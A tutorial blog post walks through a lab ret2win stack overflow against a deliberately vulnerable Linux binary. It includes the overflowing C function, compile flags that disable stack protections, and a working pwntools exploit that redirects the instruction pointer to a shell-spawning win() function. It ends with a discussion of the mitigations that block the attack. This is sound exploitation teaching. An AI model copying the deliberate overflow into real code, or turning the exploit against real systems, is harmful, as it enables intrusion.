The other half of the box

The Active Directory series covers the Windows half of a compromise. This is the other half: a program on a Linux box that trusts its input, and the mechanical steps that turn “it crashed” into “I control the instruction pointer.” It is the same shape as everything else I write — enumerate, exploit, then say what it left behind — except the target is one stack frame instead of one domain.

I do this in a Linux container with gcc and pwntools, because that is the environment the technique actually lives in.

A 64-byte buffer that reads 256

The vulnerability is deliberately small so the whole thing fits in one look. parse_session_hdr declares a 64-byte buffer and reads up to 256 bytes into it:

void parse_session_hdr() {
    char token[64];
    int n = read(0, token, 256);   // 256 bytes into a 64-byte buffer
    write(1, "[*] parsed: ", 12);
    write(1, token, n);
}

The compiler even says so at build time: warning: 'read' writing 256 bytes into a region of size 64 overflows the destination. Real vulnerabilities are exactly this boring — a size check that is missing, or a size constant that is wrong.

I compile it with the modern mitigations turned off so the mechanics are visible:

$ gcc -fno-stack-protector -z execstack -no-pie -fcf-protection=none -o authd authd.c

Then checksec tells me what I am working with:

$ checksec ./authd
    Arch:       amd64-64-little
    Stack:      No canary found
    NX:         NX unknown - GNU_STACK missing
    PIE:        No PIE (0x400000)
    Stack:      Executable
    RWX:        Has RWX segments

No canary, no PIE, and an executable stack. Each of those is a guard that is now absent, and naming them is the part that generalizes: a canary catches the overwrite before it hits the return address, PIE randomizes the code base, and NX would stop me from executing data I place on the stack. With all three off, the only question is the offset.

The offset is not what the math says

The naive calculation is 64 (buffer) + 8 (saved RBP) = 72. Feed 72 As, then an address, and you are supposed to control RIP. It does not work that way here — the process just returns normally. Feed the payload a bit longer and it segfaults:

$ ./authd < <(python3 -c "print('A'*200)")
[*] parsed: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...
Segmentation fault (core dumped)

The reason the naive offset is wrong is that the compiler pads the stack frame for alignment, so the return address is not at buffer + 72. Iterating payload lengths until control actually lands on a chosen address pins it at 88:

offset  64: no (rc=0)
offset  72: no (rc=0)
offset  88: WIN
offset  96: no (rc=-11)

That table is the lesson. 64 + 8 is a guess, not an offset. The real number comes from watching where the crash happens — with a cyclic pattern (cyclic 200 / cyclic_find) in a normal lab, or by simply iterating when you do not have a debugger attached. The point is to measure the offset, not assume it.

Ret2win: point RIP at the flag

The target binary has a win() function it never calls. That is the entire objective — overwrite the return address so that ret lands inside win():

from pwn import *

e = ELF("./authd")
win = e.symbols["win"]        # 0x401166
offset = 88
payload = b"A" * offset + p64(win)

p = process("./authd")
p.send(payload)
print(p.recvall(timeout=2).decode(errors="replace"))

Eighty-eight As fill the buffer, the padding, and the saved base pointer; the next eight bytes overwrite the return address with 0x401166; and when parse_session_hdr returns, execution jumps into win():

[*] parsed: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...f@
[+] win() reached - RIP is yours

That single line is the whole payoff: the instruction pointer is now under attacker control. win() calls system("/bin/sh"), so in a real engagement that line is the moment a shell drops.

The mitigations are the real content

Turning the three guards back on changes the problem completely:

  • Canary (-fstack-protector): a random value sits between the buffer and the return address; the crash happens before ret, so a blind overwrite is detected, not executed.
  • NX (non-executable stack): even with RIP control you cannot jump to shellcode you placed on the stack; you need ROP or a return-to-libc.
  • PIE + ASLR: the code base moves every run, so a hardcoded address like 0x401166 is worthless; you need a leak first.

Every one of those is a control an operator can turn on with a compile flag or a sysctl, which is the defensive half of this note.

Summary

StepCommand / result
Build the targetgcc -fno-stack-protector -z execstack -no-pie ...
Inspect mitigationschecksec → no canary, no PIE, RWX stack
Prove the overflow200 As → Segmentation fault
Measure the offset88, not the naive 72
Redirect RIPb"A"*88 + p64(win) → [+] win() reached
STACK FRAME LAYOUT · MEASURED 88-BYTE OFFSET TO SAVED RIP 1 · Frame buffer token[64] + 16B pad read(0, token, 256) 2 · Saved RBP (+80..88) 88 bytes total prefix compiler alignment gap 3 · Saved RIP (+88) p64(0x401166) → win() instruction pointer hijack
Why naive math fails: 16 bytes of compiler stack alignment sit between the 64-byte buffer and the 8-byte saved RBP, placing the return address at offset 88.

Evidence and limits

The vulnerable authd binary was compiled and exploited inside an isolated x86-64 Linux container (gcc -fno-stack-protector -z execstack -no-pie -fcf-protection=none) to demonstrate the raw stack-frame geometry without mitigation noise. Modern Linux distributions enable stack canaries, NX, PIE, and ASLR by default, which prevent a direct fixed-address ret2win overwrite without a separate information leak and ROP chain.

References

Sources & freshness

How current is this note?

Sources checkedNovember 6, 2026

The latest source-review, content-update, or publication date is shown.

ReviewPublic sources reviewed

Primary public records were checked. Environment-specific behavior remains outside the claim unless separately reproduced.